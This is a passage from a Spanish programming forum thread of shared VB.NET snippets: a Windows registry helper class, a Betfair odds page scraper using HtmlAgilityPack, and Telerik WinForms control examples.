  203.    ''' <param name="Key">Indicates the registry key.</param>
  204.    ''' <param name="Value">Indicates the registry value.</param>
  205.    Public Shared Sub DeleteValue(ByVal Key As String,
  206.                                  ByVal Value As String)
  207.  
  208.        Using Reg As RegistryKey = GetRoot(Key)
  209.  
  210.            Reg.OpenSubKey(GetPath(Key), writable:=False).
  211.                DeleteValue(Value, throwOnMissingValue:=False)
  212.  
  213.        End Using
  214.  
  215.    End Sub
  216.  
  217. #End Region
  218.  
  219. #Region " Get "
  220.  
  221.    ''' <summary>
  222.    ''' Gets the data of a registry value.
  223.    ''' </summary>
  224.    ''' <param name="Key">Indicates the registry key.</param>
  225.    ''' <param name="Value">Indicates the registry value.</param>
  226.    ''' <returns>The registry data.</returns>
  227.    Public Shared Function GetValue(ByVal Key As String,
  228.                                    ByVal Value As String) As Object
  229.  
  230.        Using Reg As RegistryKey = GetRoot(Key)
  231.  
  232.            Return Reg.OpenSubKey(GetPath(Key), writable:=False).
  233.                       GetValue(Value, defaultValue:=Nothing)
  234.  
  235.        End Using
  236.  
  237.    End Function
  238.  
  239. #End Region
  240.  
  241. #Region " Set "
  242.  
  243.    ''' <summary>
  244.    ''' Set the data of a registry value.
  245.    ''' If the Key or value doesn't exist it will be created.
  246.    ''' </summary>
  247.    ''' <param name="Key">Indicates the registry key.</param>
  248.    ''' <param name="Value">Indicates the registry value.</param>
  249.    ''' <param name="Data">Indicates the registry data.</param>
  250.    ''' <param name="DataType">Indicates the type of data.</param>
  251.    Public Shared Sub SetValue(ByVal Key As String,
  252.                               ByVal Value As String,
  253.                               ByVal Data As Object,
  254.                               Optional ByVal DataType As RegistryValueKind = RegistryValueKind.Unknown)
  255.  
  256.        Using Reg As RegistryKey = GetRoot(Key)
  257.  
  258.            Select Case DataType
  259.  
  260.                Case RegistryValueKind.Unknown
  261.                    Reg.OpenSubKey(GetPath(Key), writable:=True).
  262.                        SetValue(Value, Data)
  263.  
  264.                Case RegistryValueKind.Binary
  265.                    Reg.OpenSubKey(GetPath(Key), writable:=True).
  266.                        SetValue(Value, Encoding.ASCII.GetBytes(Data), RegistryValueKind.Binary)
  267.  
  268.                Case Else
  269.                    Reg.OpenSubKey(GetPath(Key), writable:=True).
  270.                        SetValue(Value, Data, DataType)
  271.  
  272.            End Select
  273.  
  274.        End Using
  275.  
  276.    End Sub
  277.  
  278. #End Region
  279.  
  280. #Region " Exist "
  281.  
  282.    ''' <summary>
  283.    ''' Determines whether a Key exists.
  284.    ''' </summary>
  285.    ''' <param name="Key">Indicates the registry key.</param>
  286.    ''' <returns><c>true</c> if key exist, <c>false</c> otherwise.</returns>
  287.    Public Shared Function ExistKey(ByVal Key As String) As Boolean
  288.  
  289.        Dim RootKey As RegistryKey = GetRoot(Key)
  290.        Dim KeyPath As String = GetPath(Key)
  291.  
  292.        If (RootKey Is Nothing) OrElse (String.IsNullOrEmpty(KeyPath)) Then
  293.            Return False
  294.        End If
  295.  
  296.        Using Reg As RegistryKey = RootKey
  297.  
  298.            Return RootKey.OpenSubKey(KeyPath, writable:=False) IsNot Nothing
  299.  
  300.        End Using
  301.  
  302.    End Function
  303.  
  304.    ''' <summary>
  305.    ''' Determines whether a value exists.
  306.    ''' </summary>
  307.    ''' <param name="Key">Indicates the registry key.</param>
  308.    ''' <param name="Value">Indicates the registry value.</param>
  309.    ''' <returns><c>true</c> if value exist, <c>false</c> otherwise.</returns>
  310.    Public Shared Function ExistValue(ByVal Key As String, ByVal Value As String) As Boolean
  311.  
  312.        Dim RootKey As RegistryKey = GetRoot(Key)
  313.        Dim KeyPath As String = GetPath(Key)
  314.  
  315.        If (RootKey Is Nothing) OrElse (String.IsNullOrEmpty(KeyPath)) Then
  316.            Return False
  317.        End If
  318.  
  319.        Using Reg As RegistryKey = RootKey
  320.  
  321.            Return RootKey.OpenSubKey(KeyPath, writable:=False).
  322.                           GetValue(Value, defaultValue:=Nothing) IsNot Nothing
  323.  
  324.        End Using
  325.  
  326.    End Function
  327.  
  328.    ''' <summary>
  329.    ''' Determines whether data exists in a registry value.
  330.    ''' </summary>
  331.    ''' <param name="Key">Indicates the registry key.</param>
  332.    ''' <param name="Value">Indicates the registry value.</param>
  333.    ''' <returns><c>true</c> if data exist, <c>false</c> otherwise.</returns>
  334.    Public Shared Function ExistData(ByVal Key As String, ByVal Value As String) As Boolean
  335.  
  336.        Dim RootKey As RegistryKey = GetRoot(Key)
  337.        Dim KeyPath As String = GetPath(Key)
  338.  
  339.        If (RootKey Is Nothing) OrElse (String.IsNullOrEmpty(KeyPath)) Then
  340.            Return False
  341.        End If
  342.  
  343.        Using Reg As RegistryKey = RootKey
  344.  
  345.            Return Not String.IsNullOrEmpty(RootKey.OpenSubKey(KeyPath, writable:=False).
  346.                                                    GetValue(Value, defaultValue:=Nothing))
  347.  
  348.        End Using
  349.  
  350.    End Function
  351.  
  352. #End Region
  353.  
  354. #Region " Copy "
  355.  
  356.    ''' <summary>
  357.    ''' Copy a key tree to another location on the registry.
  358.    ''' </summary>
  359.    ''' <param name="OldKey">Indicates the registry key to be copied from.</param>
  360.    ''' <param name="NewKey">Indicates the registry key to be pasted from.</param>
  361.    Public Shared Sub CopyKey(ByVal OldKey As String,
  362.                              ByVal NewKey As String)
  363.  
  364.        Using OldReg As RegistryKey = GetRoot(OldKey).OpenSubKey(GetPath(OldKey), writable:=False)
  365.  
  366.            CreateKey(NewKey)
  367.  
  368.            Using NewReg As RegistryKey = GetRoot(NewKey).OpenSubKey(GetPath(NewKey), writable:=True)
  369.  
  370.                CopySubKeys(OldReg, NewReg)
  371.  
  372.            End Using ' NewReg
  373.  
  374.        End Using ' OldReg
  375.  
  376.    End Sub
  377.  
  378.    ''' <summary>
  379.    ''' Copies a value with their data to another location on the registry.
  380.    ''' If the Key don't exist it will be created automatically.
  381.    ''' </summary>
  382.    ''' <param name="OldKey">Indicates the registry key to be copied from.</param>
  383.    ''' <param name="OldValue">Indicates the registry value to be copied from.</param>
  384.    ''' <param name="NewKey">Indicates the registry key to be pasted from.</param>
  385.    ''' <param name="NewValue">Indicates the registry value to be pasted from.</param>
  386.    Public Shared Sub CopyValue(ByVal OldKey As String,
  387.                                ByVal OldValue As String,
  388.                                ByVal NewKey As String,
  389.                                ByVal NewValue As String)
  390.  
  391.        CreateKey(Key:=NewKey)
  392.        SetValue(Key:=NewKey, Value:=NewValue, Data:=GetValue(OldKey, OldValue), DataType:=RegistryValueKind.Unknown)
  393.  
  394.    End Sub
  395.  
  396. #End Region
  397.  
  398. #Region " Process dependant methods "
  399.  
  400.    ''' <summary>
  401.    ''' Opens Regedit process and jumps at the specified key.
  402.    ''' </summary>
  403.    ''' <param name="Key">Indicates the registry key.</param>
  404.    Public Shared Sub JumpToKey(ByVal Key As String)
  405.  
  406.        Using Reg As RegistryKey = GetRoot(Key)
  407.  
  408.            SetValue(Key:="HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit",
  409.                     Value:="LastKey",
  410.                     Data:=String.Format("{0}\{1}", Reg.Name, GetPath(Key)),
  411.                     DataType:=RegistryValueKind.String)
  412.  
  413.        End Using
  414.  
  415.        Process.Start(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Regedit.exe"))
  416.  
  417.    End Sub
  418.  
  419.    ''' <summary>
  420.    ''' Imports a registry file.
  421.    ''' </summary>
  422.    ''' <param name="RegFile">The registry file to import.</param>
  423.    ''' <returns><c>true</c> if operation succeeds, <c>false</c> otherwise.</returns>
  424.    Public Shared Function ImportRegFile(ByVal RegFile As String) As Boolean
  425.  
  426.        Using proc As New Process With {
  427.            .StartInfo = New ProcessStartInfo() With {
  428.                  .FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Reg.exe"),
  429.                  .Arguments = String.Format("Import ""{0}""", RegFile),
  430.                  .CreateNoWindow = True,
  431.                  .WindowStyle = ProcessWindowStyle.Hidden,
  432.                  .UseShellExecute = False
  433.                }
  434.            }
  435.  
  436.            proc.Start()
  437.            proc.WaitForExit()
  438.  
  439.            Return Not CBool(proc.ExitCode)
  440.  
  441.        End Using
  442.  
  443.    End Function
  444.  
  445.    ''' <summary>
  446.    ''' Exports a key to a registry file.
  447.    ''' </summary>
  448.    ''' <param name="Key">Indicates the registry key.</param>
  449.    ''' <param name="OutputFile">Indicates the output file.</param>
  450.    ''' <returns><c>true</c> if operation succeeds, <c>false</c> otherwise.</returns>
  451.    Public Shared Function ExportKey(ByVal Key As String, ByVal OutputFile As String) As Boolean
  452.  
  453.        Using Reg As RegistryKey = GetRoot(Key)
  454.  
  455.            Using proc As New Process With {
  456.                    .StartInfo = New ProcessStartInfo() With {
  457.                          .FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Reg.exe"),
  458.                          .Arguments = String.Format("Export ""{0}\{1}"" ""{2}"" /y", Reg.Name, GetPath(Key), OutputFile),
  459.                          .CreateNoWindow = True,
  460.                          .WindowStyle = ProcessWindowStyle.Hidden,
  461.                          .UseShellExecute = False
  462.                        }
  463.                    }
  464.  
  465.                proc.Start()
  466.                proc.WaitForExit()
  467.  
  468.                Return Not CBool(proc.ExitCode)
  469.  
  470.            End Using
  471.  
  472.        End Using
  473.  
  474.    End Function
  475.  
  476.    ''' <summary>
  477.    ''' Modifies the user permissions of a registry key.
  478.    ''' </summary>
  479.    ''' <param name="Key">Indicates the registry key.</param>
  480.    ''' <param name="UserAccess">Indicates the user-access.</param>
  481.    ''' <returns><c>true</c> if operation succeeds, <c>false</c> otherwise.</returns>
  482.    Public Shared Function SetUserAccessKey(ByVal Key As String, ByVal UserAccess() As ReginiUserAccess) As Boolean
  483.  
  484.        Dim tmpFile As String = Path.Combine(Path.GetTempPath(), "Regini.ini")
  485.  
  486.        Dim PermissionString As String =
  487.            String.Format("[{0}]",
  488.                          String.Join(" "c, UserAccess.Cast(Of Integer)))
  489.  
  490.        Using TextFile As New StreamWriter(path:=tmpFile, append:=False, encoding:=Encoding.Default)
  491.  
  492.            Using Reg As RegistryKey = GetRoot(Key)
  493.  
  494.                TextFile.WriteLine(String.Format("""{0}\{1}"" {2}", Reg.Name, GetPath(Key), PermissionString))
  495.  
  496.            End Using ' Reg
  497.  
  498.        End Using ' TextFile
  499.  
  500.        Using proc As New Process With {
  501.            .StartInfo = New ProcessStartInfo() With {
  502.                   .FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Regini.exe"),
  503.                   .Arguments = ControlChars.Quote & tmpFile & ControlChars.Quote,
  504.                   .CreateNoWindow = True,
  505.                   .WindowStyle = ProcessWindowStyle.Hidden,
  506.                   .UseShellExecute = False
  507.                }
  508.            }
  509.  
  510.            proc.Start()
  511.            proc.WaitForExit()
  512.  
  513.            Return Not CBool(proc.ExitCode)
  514.  
  515.        End Using
  516.  
  517.    End Function
  518.  
  519. #End Region
  520.  
  521. #End Region
  522.  
  523. #Region " Private Methods "
  524.  
  525. #Region " Get "
  526.  
  527.    ''' <summary>
  528.    ''' Gets the registry root of a key.
  529.    ''' </summary>
  530.    ''' <param name="Key">Indicates the registry key.</param>
  531.    ''' <returns>The registry root.</returns>
  532.    Private Shared Function GetRoot(ByVal Key As String) As RegistryKey
  533.  
  534.        Select Case Key.ToUpper.Split("\").First
  535.  
  536.            Case "HKCR", "HKEY_CLASSES_ROOT"
  537.                Return Registry.ClassesRoot
  538.  
  539.            Case "HKCC", "HKEY_CURRENT_CONFIG"
  540.                Return Registry.CurrentConfig
  541.  
  542.            Case "HKCU", "HKEY_CURRENT_USER"
  543.                Return Registry.CurrentUser
  544.  
  545.            Case "HKLM", "HKEY_LOCAL_MACHINE"
  546.                Return Registry.LocalMachine
  547.  
  548.            Case "HKEY_PERFORMANCE_DATA"
  549.                Return Registry.PerformanceData
  550.  
  551.            Case Else
  552.                Return Nothing
  553.  
  554.        End Select
  555.  
  556.    End Function
  557.  
  558.    ''' <summary>
  559.    ''' Returns the registry path of a key.
  560.    ''' </summary>
  561.    ''' <param name="Key">Indicates the registry key.</param>
  562.    ''' <returns>The registry path.</returns>
  563.    Private Shared Function GetPath(ByVal Key As String) As String
  564.  
  565.        If String.IsNullOrEmpty(Key) Then
  566.            Return String.Empty
  567.        End If
  568.  
  569.        Dim KeyPath As String = Key.Substring(Key.IndexOf("\"c) + 1I)
  570.  
  571.        If KeyPath.EndsWith("\"c) Then
  572.            KeyPath = KeyPath.Substring(0I, KeyPath.LastIndexOf("\"c))
  573.        End If
  574.  
  575.        Return KeyPath
  576.  
  577.    End Function
  578.  
  579. #End Region
  580.  
  581. #Region " Copy "
  582.  
  583.    ''' <summary>
  584.    ''' Copies the sub-keys of the specified registry key.
  585.    ''' </summary>
  586.    ''' <param name="OldKey">Indicates the old key.</param>
  587.    ''' <param name="NewKey">Indicates the new key.</param>
  588.    Private Shared Sub CopySubKeys(ByVal OldKey As RegistryKey, ByVal NewKey As RegistryKey)
  589.  
  590.        ' Copy Values
  591.        For Each Value As String In OldKey.GetValueNames()
  592.  
  593.            NewKey.SetValue(Value, OldKey.GetValue(Value))
  594.  
  595.        Next Value
  596.  
  597.        ' Copy Subkeys
  598.        For Each SubKey As String In OldKey.GetSubKeyNames()
  599.  
  600.            CreateKey(String.Format("{0}\{1}", NewKey.Name, SubKey))
  601.            CopySubKeys(OldKey.OpenSubKey(SubKey, writable:=False), NewKey.OpenSubKey(SubKey, writable:=True))
  602.  
  603.        Next SubKey
  604.  
  605.    End Sub
  606.  
  607. #End Region
  608.  
  609. #End Region
  610.  
  611. End Class
  612.  
  613. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 4 Septiembre 2014, 18:31 pm
BetfairUtil

Con esta class pueden analizar los próximos eventos de un mercado de futbol de la página Betfair, para meterlos por ejemplo como DataSource de un GridView:

(http://i.imgur.com/0mUaIem.png)

Nota: es necesaria la librería HtmlAgilityPack.


Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 09-01-2014
  4. ' ***********************************************************************
  5. ' <copyright file="BetfairUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Imports "
  11.  
  12. Imports HtmlAgilityPack
  13. Imports System.Web
  14.  
  15. #End Region
  16.  
  17. ''' <summary>
  18. ''' Contains web related methods for Betfair.
  19. ''' </summary>
  20. Public Class BetfairUtil
  21.  
  22. #Region " XPath Expressions "
  23.  
  24.    ''' <summary>
  25.    ''' XPath to locate the coming-up events grid.
  26.    ''' </summary>
  27.    Private Shared ReadOnly XPathComingUpGrid As String = "//*/ul[1][@class='event-list']/li[@class='avb-row COMING_UP']/*"
  28.  
  29.    ''' <summary>
  30.    ''' XPath to locate the home team name.
  31.    ''' </summary>
  32.    Private Shared ReadOnly XPathHomeTeam As String = ".//span[@class='home-team-name']"
  33.  
  34.    ''' <summary>
  35.    ''' XPath to locate the away team name.
  36.    ''' </summary>
  37.    Private Shared ReadOnly XPathAwayTeam As String = ".//span[@class='away-team-name']"
  38.  
  39.    ''' <summary>
  40.    ''' XPath to locate the day which the teams will play.
  41.    ''' </summary>
  42.    Private Shared ReadOnly XPathPlayDay As String = ".//span[@class='date']"
  43.  
  44.    ''' <summary>
  45.    ''' XPath to locate the hour at which the teams will play.
  46.    ''' </summary>
  47.    Private Shared ReadOnly XPathPlayHour As String = XPathPlayDay
  48.  
  49.    ''' <summary>
  50.    ''' XPath to locate the odds value 1.
  51.    ''' </summary>
  52.    Private Shared ReadOnly XPathOddResult1 As String = ".//*/li[@class='selection sel-0']/*/span['ui-runner-price*']"
  53.  
  54.    ''' <summary>
  55.    ''' XPath to locate the odds value 2.
  56.    ''' </summary>
  57.    Private Shared ReadOnly XPathOddResult2 As String = ".//*/li[@class='selection sel-1']/*/span['ui-runner-price*']"
  58.  
  59.    ''' <summary>
  60.    ''' XPath to locate the odds value 3.
  61.    ''' </summary>
  62.    Private Shared ReadOnly XPathOddResult3 As String = ".//*/li[@class='selection sel-2']/*/span['ui-runner-price*']"
  63.  
  64. #End Region
  65.  
  66. #Region " Types "
  67.  
  68.    ''' <summary>
  69.    ''' Specifies an event info.
  70.    ''' </summary>
  71.    Public Class BetfairEventInfo
  72.  
  73.        ''' <summary>
  74.        ''' Gets or sets the home team name.
  75.        ''' </summary>
  76.        ''' <value>The home team name.</value>
  77.        Public Property HomeTeam As String
  78.  
  79.        ''' <summary>
  80.        ''' Gets or sets the away team name.
  81.        ''' </summary>
  82.        ''' <value>The away team name.</value>
  83.        Public Property AwayTeam As String
  84.  
  85.        ''' <summary>
  86.        ''' Gets or sets the day which the teams will play.
  87.        ''' </summary>
  88.        ''' <value>The day which the teams will play.</value>
  89.        Public Property PlayDay As String
  90.  
  91.        ''' <summary>
  92.        ''' Gets or sets the hour at which the teams will play.
  93.        ''' </summary>
  94.        ''' <value>The hour at which the teams will play.</value>
  95.        Public Property PlayHour As String
  96.  
  97.        ''' <summary>
  98.        ''' Gets or sets the odds value for result '1'.
  99.        ''' (which depending on the Betfair section could be the value for column-names: "1", "Yes" or "More than...")
  100.        ''' </summary>
  101.        ''' <value>The odds value for result '1'.</value>
  102.        Public Property Result1 As Double
  103.  
  104.        ''' <summary>
  105.        ''' Gets or sets the odds value for result '2'.
  106.        ''' (which depending on the Betfair section could be the value for column-names: "X", "No" or "Less than...")
  107.        ''' </summary>
  108.        ''' <value>The odds value for result '2'.</value>
  109.        Public Property Result2 As Double
  110.  
  111.        ''' <summary>
  112.        ''' (which depending on the Betfair section could be the value for column-names: "2")
  113.        ''' </summary>
  114.        ''' <value>The odds value for result 'X'.</value>
  115.        Public Property ResultX As Double
  116.  
  117.    End Class
  118.  
  119. #End Region
  120.  
  121. #Region " Public Methods "
  122.  
  123.    ''' <summary>
  124.    ''' Gets the coming-up events from a Betfair page.
  125.    ''' </summary>
  126.    ''' <param name="HtmlSource">The Betfair webpage raw Html source-code to parse the events.</param>
  127.    ''' <returns>List(Of EventInfo).</returns>
  128.    ''' <exception cref="System.Exception">Node not found in the html source-code, maybe there is any coming-up event?</exception>
  129.    Public Shared Function GetComingUpEvents(ByVal HtmlSource As String) As List(Of BetfairEventInfo)
  130.  
  131.        ' The event collection to add events.
  132.        Dim EventInfoList As New List(Of BetfairEventInfo)
  133.  
  134.        ' The current event info.
  135.        Dim EventInfo As BetfairEventInfo
  136.  
  137.        ' Initialize the HtmlDoc object.
  138.        Dim Doc As New HtmlDocument
  139.  
  140.        ' Load the Html document.
  141.        Doc.LoadHtml(HtmlSource)
  142.  
  143.        ' A temporal node to determine whether the node exist.
  144.        Dim tempNode As HtmlNode
  145.  
  146.        ' The HtmlDocument nodes to analyze.
  147.        Dim Nodes As HtmlNodeCollection
  148.  
  149.        ' Select the Teams nodes.
  150.        Nodes = Doc.DocumentNode.SelectNodes(XPathComingUpGrid)
  151.  
  152.        If Nodes Is Nothing Then ' Node not found in the html source-code.
  153.            Throw New Exception("Node not found in the html source-code, maybe there is any coming-up event?")
  154.            Return Nothing
  155.        End If
  156.  
  157.        ' Loop trough the nodes.
  158.        For Each Node As HtmlNode In Nodes
  159.  
  160.            EventInfo = New BetfairEventInfo
  161.  
  162.            ' Retrieve and set the home team name.
  163.            EventInfo.HomeTeam = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathHomeTeam).InnerText.
  164.                                                        Replace("(W)", String.Empty).
  165.                                                        Replace("(HT)", String.Empty).
  166.                                                        Replace("(QAT)", String.Empty).
  167.                                                        Replace("(Uru)", String.Empty).
  168.                                                        Replace("(Ecu)", String.Empty).
  169.                                                        Replace("(Bol)", String.Empty).
  170.                                                        Trim)
  171.  
  172.            ' Retrieve and set the away team name.
  173.            EventInfo.AwayTeam = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathAwayTeam).InnerText.
  174.                                                        Replace("(W)", String.Empty).
  175.                                                        Replace("(HT)", String.Empty).
  176.                                                        Replace("(QAT)", String.Empty).
  177.                                                        Replace("(Uru)", String.Empty).
  178.                                                        Replace("(Ecu)", String.Empty).
  179.                                                        Replace("(Bol)", String.Empty).
  180.                                                        Trim)
  181.  
  182.            ' Retrieve and set the day which the teams will play.
  183.            tempNode = Node.SelectSingleNode(XPathPlayDay)
  184.            If tempNode IsNot Nothing Then
  185.  
  186.                EventInfo.PlayDay = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathPlayDay).
  187.                                                           InnerText.
  188.                                                           Trim)
  189.  
  190.                ' This value can contains different words or one word;
  191.                ' Such as: "Mañana 14:00" or "14:00" or "03 Sep 14".
  192.                ' If the value is only the hour, the day is today.
  193.                If EventInfo.PlayDay Like "##:##" Then
  194.                    EventInfo.PlayDay = "Hoy"
  195.  
  196.                ElseIf EventInfo.PlayDay Like "Mañana*" Then
  197.                    EventInfo.PlayDay = EventInfo.PlayDay.Split(" "c).First
  198.  
  199.                End If
  200.  
  201.                If Not EventInfo.PlayDay Like "## *" Then
  202.  
  203.                    ' Retrieve and set the hour at which the teams will play.
  204.                    EventInfo.PlayHour = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathPlayHour).
  205.                                                                InnerText.
  206.                                                                Trim.
  207.                                                                Split(" "c).Last)
  208.                Else
  209.                    EventInfo.PlayHour = "N/A" ' Unknown, the hour is not displayed.
  210.                End If
  211.  
  212.            Else
  213.                EventInfo.PlayDay = "Error"
  214.                EventInfo.PlayHour = "Error"
  215.  
  216.            End If
  217.  
  218.            ' Retrieve and set the odds for result '1'.
  219.            tempNode = Node.SelectSingleNode(XPathOddResult1) ' Test whether the node exists.
  220.            If tempNode IsNot Nothing Then
  221.                If String.IsNullOrEmpty(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult1).InnerText).Trim) _
  222.                OrElse String.IsNullOrWhiteSpace(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult1).InnerText).Trim) _
  223.                OrElse HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult1).InnerText).Trim.Equals("NC", StringComparison.OrdinalIgnoreCase) Then
  224.                    EventInfo.Result1 = 0
  225.  
  226.                Else
  227.                    EventInfo.Result1 = Node.SelectSingleNode(XPathOddResult1).InnerText.Trim().Replace(".", ",")
  228.                End If
  229.  
  230.            Else
  231.                EventInfo.Result1 = 0
  232.            End If
  233.  
  234.            ' Retrieve and set the odds for result '2'.
  235.            tempNode = Node.SelectSingleNode(XPathOddResult2) ' Test whether the node exists.
  236.            If tempNode IsNot Nothing Then
  237.                If String.IsNullOrEmpty(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult2).InnerText).Trim) _
  238.                OrElse String.IsNullOrWhiteSpace(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult2).InnerText).Trim) _
  239.                OrElse HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult2).InnerText).Trim.Equals("NC", StringComparison.OrdinalIgnoreCase) Then
  240.                    EventInfo.Result2 = 0
  241.  
  242.                Else
  243.                    EventInfo.Result2 = Node.SelectSingleNode(XPathOddResult2).InnerText.Trim().Replace(".", ",")
  244.  
  245.                End If
  246.  
  247.            Else
  248.                EventInfo.Result2 = 0
  249.            End If
  250.  
  251.            ' Retrieve and set the odds for result 'X'.
  252.            tempNode = Node.SelectSingleNode(XPathOddResult3) ' Test whether the node exists.
  253.            If tempNode IsNot Nothing Then
  254.                If String.IsNullOrEmpty(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult3).InnerText).Trim) _
  255.                OrElse String.IsNullOrWhiteSpace(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult3).InnerText).Trim) _
  256.                OrElse HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult3).InnerText).Trim.Equals("NC", StringComparison.OrdinalIgnoreCase) Then
  257.                    EventInfo.ResultX = 0
  258.  
  259.                Else
  260.                    EventInfo.ResultX = Node.SelectSingleNode(XPathOddResult3).InnerText.Trim().Replace(".", ",")
  261.  
  262.                End If
  263.            Else
  264.                EventInfo.ResultX = 0
  265.            End If
  266.  
  267.            ' Add the event-into into the event collection.
  268.            EventInfoList.Add(EventInfo)
  269.  
  270.        Next Node
  271.  
  272.        Return EventInfoList
  273.  
  274.    End Function
  275.  
  276. #End Region
  277.  
  278. End Class
  279.  

Ejemplo de uso:

Código
  1.    ''' <summary>
  2.    ''' Contains the Betfair coming-up events-info.
  3.    ''' </summary>
  4.    Private ComingUpEvents As List(Of BetfairEventInfo)
  5.  
  6.    ' Parse the Betfair page source-code to get the events.
  7.    Me.ComingUpEvents = BetfairUtil.GetComingUpEvents(Me.HtmlSource)


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Septiembre 2014, 18:29 pm
Comparto algunos Snippets relacionados con los controles de Telerik: http://www.telerik.com/products/winforms.aspx

[Telerik] [RadDropDownList] Select next item on MouseWheel.

Ejemplo de como seleccionar el item anterior o siguiente usando la rueda del mouse.

Código
  1. Public Class RadDropDownList_TestForm
  2.  
  3.    ''' <summary>
  4.    ''' Handles the MouseDown event of the RadDropDownList1 control.
  5.    ''' </summary>
  6.    ''' <param name="sender">The source of the event.</param>
  7.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  8.    Private Sub RadDropDownList1_MouseWheel(Byval sender As Object, Byval e As MouseEventArgs) _
  9.    Handles RadDropDownList1.MouseWheel
  10.  
  11.        Select Case e.Delta
  12.  
  13.            Case Is > 0 ' MouseWhell scroll up.
  14.                If sender.SelectedIndex > 0I Then
  15.                    sender.SelectedIndex -= 1I
  16.                End If
  17.  
  18.            Case Else ' MouseWhell scroll down.
  19.                If sender.SelectedIndex < sender.Items.Count Then
  20.                    sender.SelectedIndex += 1I
  21.                End If
  22.  
  23.        End Select
  24.  
  25.    End Sub
  26.  
  27. End Class
  28.  



[Telerik] [RadDropDownList] Align text after selecting an item.

Ejemplo de como alinear el texto después de seleccionar un item.


Código
  1.    ''' <summary>
  2.    ''' Handles the SelectedIndexChanged event of the RadDropDownList1 control.
  3.    ''' </summary>
  4.    ''' <param name="sender">The source of the event.</param>
  5.    ''' <param name="e">The <see cref="Data.PositionChangedEventArgs"/> instance containing the event data.</param>
  6.    Private Sub RadDropDownList1_SelectedIndexChanged(ByVal sender As Object, ByVal e As Data.PositionChangedEventArgs) _
  7.    Handles RadDropDownList1.SelectedIndexChanged
  8.  
  9.        ' Center the selected item text.
  10.        sender.DropDownListElement.EditableElement.TextAlignment = ContentAlignment.MiddleCenter
  11.  
  12.    End Sub
  13.  



[Telerik] [RadMessageBox] Example.

Ejemplo de como usar un RadMessageBox

Código
  1. Imports Telerik.WinControls
  2.  
  3. Public Class RadMessageBox_TestForm
  4.  
  5.    Private Sub RadMessageBox_TestForm_Load() Handles MyBase.Load
  6.  
  7.        RadMessageBox.SetThemeName("VisualStudio2012Dark")
  8.        ' RadMessageBox.SetThemeName(Me.ThemeName) ' Use this for RadForm or other Rad control.
  9.  
  10.        RadMessageBox.Instance.Cursor = Cursors.Arrow
  11.        RadMessageBox.Instance.EnableBeep = True
  12.        RadMessageBox.Instance.ShowInTaskbar = False
  13.        RadMessageBox.Instance.ShowIcon = True
  14.        RadMessageBox.Instance.Icon = SystemIcons.Application
  15.        RadMessageBox.Instance.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedDialog
  16.  
  17.        RadMessageBox.Show("Hello World !", Me.Name, MessageBoxButtons.OK, RadMessageIcon.Info)
  18.  
  19.    End Sub
  20.  
  21. End Class
  22.  



[Telerik] [RadGridView] Example.

Ejemplo de como usar un RadGridView.

Código
  1. Imports Telerik.WinControls.UI
  2.  
  3. Public Class RadGridView_TestForm
  4.  
  5.    ''' <summary>
  6.    ''' The row collection of the RadGridView.
  7.    ''' </summary>
  8.    Private Rows As New List(Of GridViewDataRowInfo)
  9.  
  10.    Private Sub RadGridView_TestForm_Load() Handles MyBase.Load
  11.  
  12.        ' Set the RadGridView language localization.
  13.        ' RadGridLocalizationProvider.CurrentProvider = New MyRadGridViewLocalizationProvider_Spanish
  14.  
  15.        ' Create some columns.
  16.        With RadGridView1
  17.            .Columns.Add("MyColumnString", "Strings")
  18.            .Columns.Add("MyColumnHour", "Hours")
  19.            .Columns.Add("MyColumnInteger", "Integers")
  20.            .Columns.Add("MyColumnDouble", "Doubles")
  21.        End With
  22.  
  23.        ' Set the RadGridView properties.
  24.        With RadGridView1
  25.  
  26.            .ThemeName = "VisualStudio2012Dark" ' The visual theme.
  27.            .EnableAlternatingRowColor = True ' Enable color alternating between rows.
  28.            .TableElement.AlternatingRowColor = Color.FromArgb(52, 52, 56) ' The alternate color, a dark-gray.
  29.            .AutoGenerateColumns = False ' Deny the control to auto-generate columns when setting a DataSource.
  30.            .ReadOnly = True ' Disable Adding, Removing, and Editing on the control.
  31.  
  32.            ' Set the column datatypes.
  33.            .Columns("MyColumnString").DataType = GetType(String)
  34.            .Columns("MyColumnHour").DataType = GetType(String)
  35.            .Columns("MyColumnInteger").DataType = GetType(Integer)
  36.            .Columns("MyColumnDouble").DataType = GetType(Double)
  37.  
  38.        End With
  39.  
  40.        ' Create a row.
  41.        Dim Row As New GridViewDataRowInfo(Me.RadGridView1.MasterView)
  42.        With Row
  43.            .Cells(0).Value = "Hello!"
  44.            .Cells(1).Value = "22:00"
  45.            .Cells(2).Value = 10
  46.            .Cells(3).Value = 5.5
  47.        End With
  48.        Me.Rows.Add(Row)
  49.  
  50.        ' add the row in the grid.
  51.        Me.RadGridView1.Rows.AddRange(Rows.ToArray)
  52.  
  53.    End Sub
  54.  
  55. End Class
  56.  



[Telerik] [RadGridView] Export as CSV.

Ejemplo de como exportar un RadGridView a CSV.

Código
